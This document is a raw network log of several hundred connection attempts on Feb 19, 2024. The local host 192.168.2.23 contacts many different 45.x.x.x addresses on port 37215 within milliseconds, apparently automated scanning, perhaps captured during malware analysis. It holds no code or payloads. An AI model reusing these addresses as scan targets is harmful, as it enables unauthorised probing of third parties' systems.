Feb 19, 2024 18:35:38.466772079 CET	54001	37215	192.168.2.23	45.133.46.12
Feb 19, 2024 18:35:38.466788054 CET	54001	37215	192.168.2.23	45.141.166.105
Feb 19, 2024 18:35:38.466794968 CET	54001	37215	192.168.2.23	45.112.26.207
Feb 19, 2024 18:35:38.466809988 CET	54001	37215	192.168.2.23	45.215.50.203
Feb 19, 2024 18:35:38.466825962 CET	54001	37215	192.168.2.23	45.212.235.94
Feb 19, 2024 18:35:38.466825962 CET	54001	37215	192.168.2.23	45.82.181.140
Feb 19, 2024 18:35:38.466842890 CET	54001	37215	192.168.2.23	45.212.201.185
Feb 19, 2024 18:35:38.466850996 CET	54001	37215	192.168.2.23	45.145.198.116
Feb 19, 2024 18:35:38.466857910 CET	54001	37215	192.168.2.23	45.24.22.16
Feb 19, 2024 18:35:38.466883898 CET	54001	37215	192.168.2.23	45.231.21.19
Feb 19, 2024 18:35:38.466892004 CET	54001	37215	192.168.2.23	45.252.0.0
Feb 19, 2024 18:35:38.466897011 CET	54001	37215	192.168.2.23	45.47.17.14
Feb 19, 2024 18:35:38.466928005 CET	54001	37215	192.168.2.23	45.223.4.28
Feb 19, 2024 18:35:38.466931105 CET	54001	37215	192.168.2.23	45.218.107.39
Feb 19, 2024 18:35:38.466937065 CET	54001	37215	192.168.2.23	45.200.50.39
Feb 19, 2024 18:35:38.466944933 CET	54001	37215	192.168.2.23	45.123.218.235
Feb 19, 2024 18:35:38.466958046 CET	54001	37215	192.168.2.23	45.151.53.114
Feb 19, 2024 18:35:38.466958046 CET	54001	37215	192.168.2.23	45.69.247.125
Feb 19, 2024 18:35:38.466996908 CET	54001	37215	192.168.2.23	45.240.26.51
Feb 19, 2024 18:35:38.466996908 CET	54001	37215	192.168.2.23	45.34.133.218
Feb 19, 2024 18:35:38.466996908 CET	54001	37215	192.168.2.23	45.149.41.162
Feb 19, 2024 18:35:38.467008114 CET	54001	37215	192.168.2.23	45.111.61.187
Feb 19, 2024 18:35:38.467026949 CET	54001	37215	192.168.2.23	45.156.5.157
Feb 19, 2024 18:35:38.467041969 CET	54001	37215	192.168.2.23	45.230.20.82
Feb 19, 2024 18:35:38.467046976 CET	54001	37215	192.168.2.23	45.182.250.242
Feb 19, 2024 18:35:38.467071056 CET	54001	37215	192.168.2.23	45.143.199.37
Feb 19, 2024 18:35:38.467077017 CET	54001	37215	192.168.2.23	45.79.206.19
Feb 19, 2024 18:35:38.467088938 CET	54001	37215	192.168.2.23	45.149.163.80
Feb 19, 2024 18:35:38.467109919 CET	54001	37215	192.168.2.23	45.211.212.3
Feb 19, 2024 18:35:38.467142105 CET	54001	37215	192.168.2.23	45.137.98.238
Feb 19, 2024 18:35:38.467142105 CET	54001	37215	192.168.2.23	45.219.110.133
Feb 19, 2024 18:35:38.467147112 CET	54001	37215	192.168.2.23	45.42.237.109
Feb 19, 2024 18:35:38.467154980 CET	54001	37215	192.168.2.23	45.202.87.20
Feb 19, 2024 18:35:38.467154980 CET	54001	37215	192.168.2.23	45.164.115.189
Feb 19, 2024 18:35:38.467171907 CET	54001	37215	192.168.2.23	45.38.87.213
Feb 19, 2024 18:35:38.467190027 CET	54001	37215	192.168.2.23	45.229.170.56
Feb 19, 2024 18:35:38.467190981 CET	54001	37215	192.168.2.23	45.10.115.239
Feb 19, 2024 18:35:38.467210054 CET	54001	37215	192.168.2.23	45.249.154.99
Feb 19, 2024 18:35:38.467211962 CET	54001	37215	192.168.2.23	45.122.45.70
Feb 19, 2024 18:35:38.467227936 CET	54001	37215	192.168.2.23	45.153.55.87
Feb 19, 2024 18:35:38.467235088 CET	54001	37215	192.168.2.23	45.190.12.147
Feb 19, 2024 18:35:38.467252016 CET	54001	37215	192.168.2.23	45.110.215.58
Feb 19, 2024 18:35:38.467256069 CET	54001	37215	192.168.2.23	45.136.171.179
Feb 19, 2024 18:35:38.467272997 CET	54001	37215	192.168.2.23	45.5.82.234
Feb 19, 2024 18:35:38.467286110 CET	54001	37215	192.168.2.23	45.110.108.108
Feb 19, 2024 18:35:38.467293978 CET	54001	37215	192.168.2.23	45.163.29.205
Feb 19, 2024 18:35:38.467310905 CET	54001	37215	192.168.2.23	45.93.202.39
Feb 19, 2024 18:35:38.467310905 CET	54001	37215	192.168.2.23	45.94.60.64
Feb 19, 2024 18:35:38.467344046 CET	54001	37215	192.168.2.23	45.192.189.227
Feb 19, 2024 18:35:38.467349052 CET	54001	37215	192.168.2.23	45.212.105.51
Feb 19, 2024 18:35:38.467359066 CET	54001	37215	192.168.2.23	45.223.66.242
Feb 19, 2024 18:35:38.467366934 CET	54001	37215	192.168.2.23	45.124.172.254
Feb 19, 2024 18:35:38.467384100 CET	54001	37215	192.168.2.23	45.35.192.194
Feb 19, 2024 18:35:38.467384100 CET	54001	37215	192.168.2.23	45.69.3.119
Feb 19, 2024 18:35:38.467391014 CET	54001	37215	192.168.2.23	45.57.135.178
Feb 19, 2024 18:35:38.467406034 CET	54001	37215	192.168.2.23	45.237.154.181
Feb 19, 2024 18:35:38.467411995 CET	54001	37215	192.168.2.23	45.52.115.147
Feb 19, 2024 18:35:38.467422962 CET	54001	37215	192.168.2.23	45.105.142.198
Feb 19, 2024 18:35:38.467449903 CET	54001	37215	192.168.2.23	45.201.173.125
Feb 19, 2024 18:35:38.467451096 CET	54001	37215	192.168.2.23	45.204.68.145
Feb 19, 2024 18:35:38.467459917 CET	54001	37215	192.168.2.23	45.237.86.112
Feb 19, 2024 18:35:38.467472076 CET	54001	37215	192.168.2.23	45.22.210.79
Feb 19, 2024 18:35:38.467489004 CET	54001	37215	192.168.2.23	45.2.3.206
Feb 19, 2024 18:35:38.467497110 CET	54001	37215	192.168.2.23	45.197.6.197
Feb 19, 2024 18:35:38.467514992 CET	54001	37215	192.168.2.23	45.233.96.214
Feb 19, 2024 18:35:38.467520952 CET	54001	37215	192.168.2.23	45.151.211.252
Feb 19, 2024 18:35:38.467526913 CET	54001	37215	192.168.2.23	45.82.96.46
Feb 19, 2024 18:35:38.467540026 CET	54001	37215	192.168.2.23	45.44.240.5
Feb 19, 2024 18:35:38.467550039 CET	54001	37215	192.168.2.23	45.25.38.46
Feb 19, 2024 18:35:38.467565060 CET	54001	37215	192.168.2.23	45.14.211.43
Feb 19, 2024 18:35:38.467581987 CET	54001	37215	192.168.2.23	45.18.86.226
Feb 19, 2024 18:35:38.467587948 CET	54001	37215	192.168.2.23	45.122.109.234
Feb 19, 2024 18:35:38.467601061 CET	54001	37215	192.168.2.23	45.96.0.68
Feb 19, 2024 18:35:38.467611074 CET	54001	37215	192.168.2.23	45.222.215.85
Feb 19, 2024 18:35:38.467618942 CET	54001	37215	192.168.2.23	45.53.1.168
Feb 19, 2024 18:35:38.467648029 CET	54001	37215	192.168.2.23	45.167.34.139
Feb 19, 2024 18:35:38.467664003 CET	54001	37215	192.168.2.23	45.7.181.218
Feb 19, 2024 18:35:38.467664003 CET	54001	37215	192.168.2.23	45.57.251.242
Feb 19, 2024 18:35:38.467681885 CET	54001	37215	192.168.2.23	45.221.157.38
Feb 19, 2024 18:35:38.467681885 CET	54001	37215	192.168.2.23	45.21.14.123
Feb 19, 2024 18:35:38.467690945 CET	54001	37215	192.168.2.23	45.202.176.248
Feb 19, 2024 18:35:38.467700005 CET	54001	37215	192.168.2.23	45.106.93.214
Feb 19, 2024 18:35:38.467717886 CET	54001	37215	192.168.2.23	45.190.44.17
Feb 19, 2024 18:35:38.467740059 CET	54001	37215	192.168.2.23	45.216.74.242
Feb 19, 2024 18:35:38.467747927 CET	54001	37215	192.168.2.23	45.132.162.94
Feb 19, 2024 18:35:38.467751980 CET	54001	37215	192.168.2.23	45.40.220.97
Feb 19, 2024 18:35:38.467765093 CET	54001	37215	192.168.2.23	45.67.144.118
Feb 19, 2024 18:35:38.467773914 CET	54001	37215	192.168.2.23	45.181.77.127
Feb 19, 2024 18:35:38.467787027 CET	54001	37215	192.168.2.23	45.216.241.154
Feb 19, 2024 18:35:38.467799902 CET	54001	37215	192.168.2.23	45.44.214.252
Feb 19, 2024 18:35:38.467811108 CET	54001	37215	192.168.2.23	45.25.204.197
Feb 19, 2024 18:35:38.467823029 CET	54001	37215	192.168.2.23	45.87.248.102
Feb 19, 2024 18:35:38.467832088 CET	54001	37215	192.168.2.23	45.37.57.93
Feb 19, 2024 18:35:38.467859030 CET	54001	37215	192.168.2.23	45.1.117.89
Feb 19, 2024 18:35:38.467881918 CET	54001	37215	192.168.2.23	45.69.112.78
Feb 19, 2024 18:35:38.467890024 CET	54001	37215	192.168.2.23	45.109.164.206
Feb 19, 2024 18:35:38.467891932 CET	54001	37215	192.168.2.23	45.71.113.31
Feb 19, 2024 18:35:38.467894077 CET	54001	37215	192.168.2.23	45.254.41.239
Feb 19, 2024 18:35:38.467909098 CET	54001	37215	192.168.2.23	45.45.48.164
Feb 19, 2024 18:35:38.467915058 CET	54001	37215	192.168.2.23	45.97.136.89
Feb 19, 2024 18:35:38.467927933 CET	54001	37215	192.168.2.23	45.218.114.9
Feb 19, 2024 18:35:38.467941999 CET	54001	37215	192.168.2.23	45.245.165.67
Feb 19, 2024 18:35:38.467950106 CET	54001	37215	192.168.2.23	45.47.211.181
Feb 19, 2024 18:35:38.467962027 CET	54001	37215	192.168.2.23	45.43.214.122
Feb 19, 2024 18:35:38.467977047 CET	54001	37215	192.168.2.23	45.145.115.43
Feb 19, 2024 18:35:38.467981100 CET	54001	37215	192.168.2.23	45.237.96.115
Feb 19, 2024 18:35:38.467998028 CET	54001	37215	192.168.2.23	45.97.209.86
Feb 19, 2024 18:35:38.468019009 CET	54001	37215	192.168.2.23	45.230.78.113
Feb 19, 2024 18:35:38.468038082 CET	54001	37215	192.168.2.23	45.80.17.210
Feb 19, 2024 18:35:38.468056917 CET	54001	37215	192.168.2.23	45.197.194.38
Feb 19, 2024 18:35:38.468056917 CET	54001	37215	192.168.2.23	45.36.65.179
Feb 19, 2024 18:35:38.468069077 CET	54001	37215	192.168.2.23	45.155.28.91
Feb 19, 2024 18:35:38.468071938 CET	54001	37215	192.168.2.23	45.118.227.171
Feb 19, 2024 18:35:38.468081951 CET	54001	37215	192.168.2.23	45.98.34.93
Feb 19, 2024 18:35:38.468089104 CET	54001	37215	192.168.2.23	45.86.12.134
Feb 19, 2024 18:35:38.468106985 CET	54001	37215	192.168.2.23	45.254.57.223
Feb 19, 2024 18:35:38.468115091 CET	54001	37215	192.168.2.23	45.159.162.133
Feb 19, 2024 18:35:38.468122005 CET	54001	37215	192.168.2.23	45.193.224.28
Feb 19, 2024 18:35:38.468137980 CET	54001	37215	192.168.2.23	45.51.168.30
Feb 19, 2024 18:35:38.468148947 CET	54001	37215	192.168.2.23	45.144.91.232
Feb 19, 2024 18:35:38.468168974 CET	54001	37215	192.168.2.23	45.74.249.142
Feb 19, 2024 18:35:38.468184948 CET	54001	37215	192.168.2.23	45.251.76.146
Feb 19, 2024 18:35:38.468187094 CET	54001	37215	192.168.2.23	45.186.124.59
Feb 19, 2024 18:35:38.468202114 CET	54001	37215	192.168.2.23	45.1.75.226
Feb 19, 2024 18:35:38.468219995 CET	54001	37215	192.168.2.23	45.56.244.145
Feb 19, 2024 18:35:38.468229055 CET	54001	37215	192.168.2.23	45.164.6.111
Feb 19, 2024 18:35:38.468234062 CET	54001	37215	192.168.2.23	45.97.14.167
Feb 19, 2024 18:35:38.468245983 CET	54001	37215	192.168.2.23	45.20.180.34
Feb 19, 2024 18:35:38.468250036 CET	54001	37215	192.168.2.23	45.212.225.92
Feb 19, 2024 18:35:38.468271017 CET	54001	37215	192.168.2.23	45.156.215.233
Feb 19, 2024 18:35:38.468278885 CET	54001	37215	192.168.2.23	45.225.198.98
Feb 19, 2024 18:35:38.468283892 CET	54001	37215	192.168.2.23	45.15.211.222
Feb 19, 2024 18:35:38.468298912 CET	54001	37215	192.168.2.23	45.210.91.58
Feb 19, 2024 18:35:38.468302965 CET	54001	37215	192.168.2.23	45.220.120.176
Feb 19, 2024 18:35:38.468333960 CET	54001	37215	192.168.2.23	45.146.121.204
Feb 19, 2024 18:35:38.468342066 CET	54001	37215	192.168.2.23	45.208.169.199
Feb 19, 2024 18:35:38.468342066 CET	54001	37215	192.168.2.23	45.74.39.69
Feb 19, 2024 18:35:38.468369007 CET	54001	37215	192.168.2.23	45.21.81.79
Feb 19, 2024 18:35:38.468372107 CET	54001	37215	192.168.2.23	45.97.189.233
Feb 19, 2024 18:35:38.468384027 CET	54001	37215	192.168.2.23	45.101.140.151
Feb 19, 2024 18:35:38.468394041 CET	54001	37215	192.168.2.23	45.253.70.141
Feb 19, 2024 18:35:38.468399048 CET	54001	37215	192.168.2.23	45.48.56.152
Feb 19, 2024 18:35:38.468415022 CET	54001	37215	192.168.2.23	45.139.223.57
Feb 19, 2024 18:35:38.468424082 CET	54001	37215	192.168.2.23	45.51.90.77
Feb 19, 2024 18:35:38.468439102 CET	54001	37215	192.168.2.23	45.115.10.101
Feb 19, 2024 18:35:38.468453884 CET	54001	37215	192.168.2.23	45.116.235.40
Feb 19, 2024 18:35:38.468470097 CET	54001	37215	192.168.2.23	45.202.184.209
Feb 19, 2024 18:35:38.468478918 CET	54001	37215	192.168.2.23	45.123.112.164
Feb 19, 2024 18:35:38.468478918 CET	54001	37215	192.168.2.23	45.98.105.153
Feb 19, 2024 18:35:38.468497992 CET	54001	37215	192.168.2.23	45.149.207.23
Feb 19, 2024 18:35:38.468509912 CET	54001	37215	192.168.2.23	45.42.6.213
Feb 19, 2024 18:35:38.468522072 CET	54001	37215	192.168.2.23	45.92.59.149
Feb 19, 2024 18:35:38.468538046 CET	54001	37215	192.168.2.23	45.175.198.53
Feb 19, 2024 18:35:38.468552113 CET	54001	37215	192.168.2.23	45.158.44.19
Feb 19, 2024 18:35:38.468552113 CET	54001	37215	192.168.2.23	45.88.153.104
Feb 19, 2024 18:35:38.468581915 CET	54001	37215	192.168.2.23	45.108.43.103
Feb 19, 2024 18:35:38.468594074 CET	54001	37215	192.168.2.23	45.127.20.90
Feb 19, 2024 18:35:38.468602896 CET	54001	37215	192.168.2.23	45.116.64.154
Feb 19, 2024 18:35:38.468602896 CET	54001	37215	192.168.2.23	45.108.218.6
Feb 19, 2024 18:35:38.468619108 CET	54001	37215	192.168.2.23	45.9.86.126
Feb 19, 2024 18:35:38.468632936 CET	54001	37215	192.168.2.23	45.164.165.194
Feb 19, 2024 18:35:38.468647957 CET	54001	37215	192.168.2.23	45.133.57.151
Feb 19, 2024 18:35:38.468664885 CET	54001	37215	192.168.2.23	45.156.38.91
Feb 19, 2024 18:35:38.468666077 CET	54001	37215	192.168.2.23	45.54.25.48
Feb 19, 2024 18:35:38.468679905 CET	54001	37215	192.168.2.23	45.107.32.200
Feb 19, 2024 18:35:38.468691111 CET	54001	37215	192.168.2.23	45.119.65.237
Feb 19, 2024 18:35:38.468704939 CET	54001	37215	192.168.2.23	45.140.36.188
Feb 19, 2024 18:35:38.468718052 CET	54001	37215	192.168.2.23	45.58.190.138
Feb 19, 2024 18:35:38.468725920 CET	54001	37215	192.168.2.23	45.164.50.212
Feb 19, 2024 18:35:38.468736887 CET	54001	37215	192.168.2.23	45.32.40.221
Feb 19, 2024 18:35:38.468753099 CET	54001	37215	192.168.2.23	45.134.130.159
Feb 19, 2024 18:35:38.468784094 CET	54001	37215	192.168.2.23	45.52.65.79
Feb 19, 2024 18:35:38.468784094 CET	54001	37215	192.168.2.23	45.122.229.178
Feb 19, 2024 18:35:38.468805075 CET	54001	37215	192.168.2.23	45.193.25.216
Feb 19, 2024 18:35:38.468822956 CET	54001	37215	192.168.2.23	45.153.195.175
Feb 19, 2024 18:35:38.468825102 CET	54001	37215	192.168.2.23	45.60.174.93
Feb 19, 2024 18:35:38.468827963 CET	54001	37215	192.168.2.23	45.149.127.170
Feb 19, 2024 18:35:38.468841076 CET	54001	37215	192.168.2.23	45.206.222.55
Feb 19, 2024 18:35:38.468863010 CET	54001	37215	192.168.2.23	45.193.227.64
Feb 19, 2024 18:35:38.468866110 CET	54001	37215	192.168.2.23	45.89.188.59
Feb 19, 2024 18:35:38.468884945 CET	54001	37215	192.168.2.23	45.69.120.75
Feb 19, 2024 18:35:38.468888998 CET	54001	37215	192.168.2.23	45.20.234.220
Feb 19, 2024 18:35:38.468890905 CET	54001	37215	192.168.2.23	45.94.15.83
Feb 19, 2024 18:35:38.468910933 CET	54001	37215	192.168.2.23	45.115.25.141
Feb 19, 2024 18:35:38.468926907 CET	54001	37215	192.168.2.23	45.61.241.208
Feb 19, 2024 18:35:38.468945026 CET	54001	37215	192.168.2.23	45.9.56.84
Feb 19, 2024 18:35:38.468945026 CET	54001	37215	192.168.2.23	45.94.193.204
Feb 19, 2024 18:35:38.468961954 CET	54001	37215	192.168.2.23	45.187.254.155
Feb 19, 2024 18:35:38.468974113 CET	54001	37215	192.168.2.23	45.11.18.202
Feb 19, 2024 18:35:38.468983889 CET	54001	37215	192.168.2.23	45.57.70.95
Feb 19, 2024 18:35:38.468988895 CET	54001	37215	192.168.2.23	45.222.250.62
Feb 19, 2024 18:35:38.469001055 CET	54001	37215	192.168.2.23	45.59.132.38
Feb 19, 2024 18:35:38.469026089 CET	54001	37215	192.168.2.23	45.145.224.211
Feb 19, 2024 18:35:38.469027042 CET	54001	37215	192.168.2.23	45.155.218.184
Feb 19, 2024 18:35:38.469039917 CET	54001	37215	192.168.2.23	45.222.219.90
Feb 19, 2024 18:35:38.469049931 CET	54001	37215	192.168.2.23	45.52.154.143
Feb 19, 2024 18:35:38.469060898 CET	54001	37215	192.168.2.23	45.210.76.170
Feb 19, 2024 18:35:38.469069004 CET	54001	37215	192.168.2.23	45.2.149.134
Feb 19, 2024 18:35:38.469083071 CET	54001	37215	192.168.2.23	45.237.1.91
Feb 19, 2024 18:35:38.469094038 CET	54001	37215	192.168.2.23	45.107.114.33
Feb 19, 2024 18:35:38.469105959 CET	54001	37215	192.168.2.23	45.32.207.72
Feb 19, 2024 18:35:38.469124079 CET	54001	37215	192.168.2.23	45.249.225.41
Feb 19, 2024 18:35:38.469136000 CET	54001	37215	192.168.2.23	45.211.95.179
Feb 19, 2024 18:35:38.469146013 CET	54001	37215	192.168.2.23	45.174.231.206
Feb 19, 2024 18:35:38.469155073 CET	54001	37215	192.168.2.23	45.227.228.14
Feb 19, 2024 18:35:38.469166040 CET	54001	37215	192.168.2.23	45.112.28.93
Feb 19, 2024 18:35:38.469177008 CET	54001	37215	192.168.2.23	45.204.174.121
Feb 19, 2024 18:35:38.469188929 CET	54001	37215	192.168.2.23	45.200.59.129
Feb 19, 2024 18:35:38.469197989 CET	54001	37215	192.168.2.23	45.218.192.12
Feb 19, 2024 18:35:38.469218969 CET	54001	37215	192.168.2.23	45.71.68.155
Feb 19, 2024 18:35:38.469223022 CET	54001	37215	192.168.2.23	45.230.23.138
Feb 19, 2024 18:35:38.469237089 CET	54001	37215	192.168.2.23	45.227.17.250
Feb 19, 2024 18:35:38.469249964 CET	54001	37215	192.168.2.23	45.98.144.38
Feb 19, 2024 18:35:38.469265938 CET	54001	37215	192.168.2.23	45.99.161.164
Feb 19, 2024 18:35:38.469286919 CET	54001	37215	192.168.2.23	45.118.153.184
Feb 19, 2024 18:35:38.469309092 CET	54001	37215	192.168.2.23	45.129.245.16
Feb 19, 2024 18:35:38.469314098 CET	54001	37215	192.168.2.23	45.22.109.69
Feb 19, 2024 18:35:38.469325066 CET	54001	37215	192.168.2.23	45.152.14.224
Feb 19, 2024 18:35:38.469341040 CET	54001	37215	192.168.2.23	45.52.135.167
Feb 19, 2024 18:35:38.469341993 CET	54001	37215	192.168.2.23	45.240.9.30
Feb 19, 2024 18:35:38.469362974 CET	54001	37215	192.168.2.23	45.246.192.141
Feb 19, 2024 18:35:38.469372988 CET	54001	37215	192.168.2.23	45.64.162.204
Feb 19, 2024 18:35:38.469379902 CET	54001	37215	192.168.2.23	45.31.190.0
Feb 19, 2024 18:35:38.469379902 CET	54001	37215	192.168.2.23	45.170.135.145
Feb 19, 2024 18:35:38.469388008 CET	54001	37215	192.168.2.23	45.175.49.62
Feb 19, 2024 18:35:38.469391108 CET	54001	37215	192.168.2.23	45.153.31.33
Feb 19, 2024 18:35:38.469415903 CET	54001	37215	192.168.2.23	45.37.255.111
Feb 19, 2024 18:35:38.469419003 CET	54001	37215	192.168.2.23	45.155.127.24
Feb 19, 2024 18:35:38.469444036 CET	54001	37215	192.168.2.23	45.46.151.77
Feb 19, 2024 18:35:38.469444036 CET	54001	37215	192.168.2.23	45.39.124.132
Feb 19, 2024 18:35:38.469446898 CET	54001	37215	192.168.2.23	45.78.224.236
Feb 19, 2024 18:35:38.469451904 CET	54001	37215	192.168.2.23	45.115.187.117
Feb 19, 2024 18:35:38.469465017 CET	54001	37215	192.168.2.23	45.176.105.163
Feb 19, 2024 18:35:38.469479084 CET	54001	37215	192.168.2.23	45.72.175.196
Feb 19, 2024 18:35:38.469494104 CET	54001	37215	192.168.2.23	45.20.182.232
Feb 19, 2024 18:35:38.469521046 CET	54001	37215	192.168.2.23	45.173.150.27
Feb 19, 2024 18:35:38.469528913 CET	54001	37215	192.168.2.23	45.229.179.238
Feb 19, 2024 18:35:38.469535112 CET	54001	37215	192.168.2.23	45.249.68.231
Feb 19, 2024 18:35:38.469547033 CET	54001	37215	192.168.2.23	45.184.229.223
Feb 19, 2024 18:35:38.469562054 CET	54001	37215	192.168.2.23	45.96.174.142
Feb 19, 2024 18:35:38.469573975 CET	54001	37215	192.168.2.23	45.136.191.166
Feb 19, 2024 18:35:38.469579935 CET	54001	37215	192.168.2.23	45.15.14.217
Feb 19, 2024 18:35:38.469582081 CET	54001	37215	192.168.2.23	45.106.241.21
Feb 19, 2024 18:35:38.469588995 CET	54001	37215	192.168.2.23	45.15.209.109
Feb 19, 2024 18:35:38.469609022 CET	54001	37215	192.168.2.23	45.143.58.42
Feb 19, 2024 18:35:38.469623089 CET	54001	37215	192.168.2.23	45.229.37.76
Feb 19, 2024 18:35:38.469628096 CET	54001	37215	192.168.2.23	45.146.149.21
Feb 19, 2024 18:35:38.469651937 CET	54001	37215	192.168.2.23	45.79.227.149
Feb 19, 2024 18:35:38.469660997 CET	54001	37215	192.168.2.23	45.192.128.159
Feb 19, 2024 18:35:38.469661951 CET	54001	37215	192.168.2.23	45.208.192.189
Feb 19, 2024 18:35:38.469676018 CET	54001	37215	192.168.2.23	45.163.49.205
Feb 19, 2024 18:35:38.469683886 CET	54001	37215	192.168.2.23	45.150.15.181
Feb 19, 2024 18:35:38.469698906 CET	54001	37215	192.168.2.23	45.211.18.164
Feb 19, 2024 18:35:38.469718933 CET	54001	37215	192.168.2.23	45.179.230.199
Feb 19, 2024 18:35:38.469722033 CET	54001	37215	192.168.2.23	45.136.242.217
Feb 19, 2024 18:35:38.469736099 CET	54001	37215	192.168.2.23	45.180.116.143
Feb 19, 2024 18:35:38.469747066 CET	54001	37215	192.168.2.23	45.167.135.104
Feb 19, 2024 18:35:38.469760895 CET	54001	37215	192.168.2.23	45.186.218.209
Feb 19, 2024 18:35:38.469763041 CET	54001	37215	192.168.2.23	45.189.181.111
Feb 19, 2024 18:35:38.469779015 CET	54001	37215	192.168.2.23	45.120.172.151
Feb 19, 2024 18:35:38.469794989 CET	54001	37215	192.168.2.23	45.52.124.172
Feb 19, 2024 18:35:38.469805956 CET	54001	37215	192.168.2.23	45.228.85.215
Feb 19, 2024 18:35:38.469813108 CET	54001	37215	192.168.2.23	45.221.28.204
Feb 19, 2024 18:35:38.469824076 CET	54001	37215	192.168.2.23	45.199.48.235
Feb 19, 2024 18:35:38.469850063 CET	54001	37215	192.168.2.23	45.236.38.15
Feb 19, 2024 18:35:38.469858885 CET	54001	37215	192.168.2.23	45.77.42.198
Feb 19, 2024 18:35:38.469861984 CET	54001	37215	192.168.2.23	45.166.144.163
Feb 19, 2024 18:35:38.469875097 CET	54001	37215	192.168.2.23	45.22.252.197
Feb 19, 2024 18:35:38.469902992 CET	54001	37215	192.168.2.23	45.95.35.45
Feb 19, 2024 18:35:38.469902992 CET	54001	37215	192.168.2.23	45.17.90.13
Feb 19, 2024 18:35:38.469907999 CET	54001	37215	192.168.2.23	45.135.3.7
Feb 19, 2024 18:35:38.469918013 CET	54001	37215	192.168.2.23	45.14.222.37
Feb 19, 2024 18:35:38.469933987 CET	54001	37215	192.168.2.23	45.80.32.76
Feb 19, 2024 18:35:38.469944954 CET	54001	37215	192.168.2.23	45.214.196.76
Feb 19, 2024 18:35:38.469950914 CET	54001	37215	192.168.2.23	45.43.225.248
Feb 19, 2024 18:35:38.469961882 CET	54001	37215	192.168.2.23	45.178.203.252
Feb 19, 2024 18:35:38.469978094 CET	54001	37215	192.168.2.23	45.49.168.235
Feb 19, 2024 18:35:38.469990969 CET	54001	37215	192.168.2.23	45.185.95.233
Feb 19, 2024 18:35:38.469995022 CET	54001	37215	192.168.2.23	45.92.233.80
Feb 19, 2024 18:35:38.470010042 CET	54001	37215	192.168.2.23	45.178.47.168
Feb 19, 2024 18:35:38.470021963 CET	54001	37215	192.168.2.23	45.172.149.80
Feb 19, 2024 18:35:38.470036030 CET	54001	37215	192.168.2.23	45.1.158.231
Feb 19, 2024 18:35:38.470048904 CET	54001	37215	192.168.2.23	45.112.97.201
Feb 19, 2024 18:35:38.470053911 CET	54001	37215	192.168.2.23	45.33.145.81
Feb 19, 2024 18:35:38.470065117 CET	54001	37215	192.168.2.23	45.164.223.194
Feb 19, 2024 18:35:38.470078945 CET	54001	37215	192.168.2.23	45.113.187.236
Feb 19, 2024 18:35:38.470092058 CET	54001	37215	192.168.2.23	45.31.77.1
Feb 19, 2024 18:35:38.470098019 CET	54001	37215	192.168.2.23	45.247.108.218
Feb 19, 2024 18:35:38.470117092 CET	54001	37215	192.168.2.23	45.70.29.206
Feb 19, 2024 18:35:38.470149040 CET	54001	37215	192.168.2.23	45.174.119.135
Feb 19, 2024 18:35:38.470155001 CET	54001	37215	192.168.2.23	45.119.169.170
Feb 19, 2024 18:35:38.470160961 CET	54001	37215	192.168.2.23	45.114.198.85
Feb 19, 2024 18:35:38.470168114 CET	54001	37215	192.168.2.23	45.155.182.228
Feb 19, 2024 18:35:38.470175982 CET	54001	37215	192.168.2.23	45.124.142.14
Feb 19, 2024 18:35:38.470179081 CET	54001	37215	192.168.2.23	45.63.178.242
Feb 19, 2024 18:35:38.470191002 CET	54001	37215	192.168.2.23	45.170.119.251
Feb 19, 2024 18:35:38.470191002 CET	54001	37215	192.168.2.23	45.28.249.187
Feb 19, 2024 18:35:38.470221043 CET	54001	37215	192.168.2.23	45.17.196.247
Feb 19, 2024 18:35:38.470232010 CET	54001	37215	192.168.2.23	45.102.208.143
Feb 19, 2024 18:35:38.470246077 CET	54001	37215	192.168.2.23	45.65.167.20
Feb 19, 2024 18:35:38.470247984 CET	54001	37215	192.168.2.23	45.240.245.191
Feb 19, 2024 18:35:38.470248938 CET	54001	37215	192.168.2.23	45.1.134.154
Feb 19, 2024 18:35:38.470257998 CET	54001	37215	192.168.2.23	45.133.208.187
Feb 19, 2024 18:35:38.470277071 CET	54001	37215	192.168.2.23	45.26.241.209
Feb 19, 2024 18:35:38.470288992 CET	54001	37215	192.168.2.23	45.108.172.218
Feb 19, 2024 18:35:38.470292091 CET	54001	37215	192.168.2.23	45.36.5.121
Feb 19, 2024 18:35:38.470310926 CET	54001	37215	192.168.2.23	45.204.79.109
Feb 19, 2024 18:35:38.470314980 CET	54001	37215	192.168.2.23	45.217.23.238
Feb 19, 2024 18:35:38.470321894 CET	54001	37215	192.168.2.23	45.133.161.230
Feb 19, 2024 18:35:38.470338106 CET	54001	37215	192.168.2.23	45.2.155.24
Feb 19, 2024 18:35:38.470344067 CET	54001	37215	192.168.2.23	45.202.56.245
Feb 19, 2024 18:35:38.470355034 CET	54001	37215	192.168.2.23	45.192.33.236
Feb 19, 2024 18:35:38.470381975 CET	54001	37215	192.168.2.23	45.71.120.174
Feb 19, 2024 18:35:38.470391989 CET	54001	37215	192.168.2.23	45.108.37.106
Feb 19, 2024 18:35:38.470391989 CET	54001	37215	192.168.2.23	45.130.89.186
Feb 19, 2024 18:35:38.470407963 CET	54001	37215	192.168.2.23	45.232.109.5
Feb 19, 2024 18:35:38.470436096 CET	54001	37215	192.168.2.23	45.102.10.94
Feb 19, 2024 18:35:38.470443010 CET	54001	37215	192.168.2.23	45.172.203.13
Feb 19, 2024 18:35:38.470448017 CET	54001	37215	192.168.2.23	45.247.186.226
Feb 19, 2024 18:35:38.470460892 CET	54001	37215	192.168.2.23	45.86.97.45
Feb 19, 2024 18:35:38.470462084 CET	54001	37215	192.168.2.23	45.97.50.188
Feb 19, 2024 18:35:38.470475912 CET	54001	37215	192.168.2.23	45.36.104.16
Feb 19, 2024 18:35:38.470494986 CET	54001	37215	192.168.2.23	45.39.186.168
Feb 19, 2024 18:35:38.470494986 CET	54001	37215	192.168.2.23	45.136.77.58
Feb 19, 2024 18:35:38.470509052 CET	54001	37215	192.168.2.23	45.36.193.174
Feb 19, 2024 18:35:38.470520973 CET	54001	37215	192.168.2.23	45.51.72.56
Feb 19, 2024 18:35:38.470546007 CET	54001	37215	192.168.2.23	45.116.122.52
Feb 19, 2024 18:35:38.470561028 CET	54001	37215	192.168.2.23	45.63.117.178
Feb 19, 2024 18:35:38.470576048 CET	54001	37215	192.168.2.23	45.80.126.174
Feb 19, 2024 18:35:38.470577002 CET	54001	37215	192.168.2.23	45.131.169.150
Feb 19, 2024 18:35:38.470582008 CET	54001	37215	192.168.2.23	45.219.106.29
Feb 19, 2024 18:35:38.470596075 CET	54001	37215	192.168.2.23	45.165.39.35
Feb 19, 2024 18:35:38.470611095 CET	54001	37215	192.168.2.23	45.0.8.135
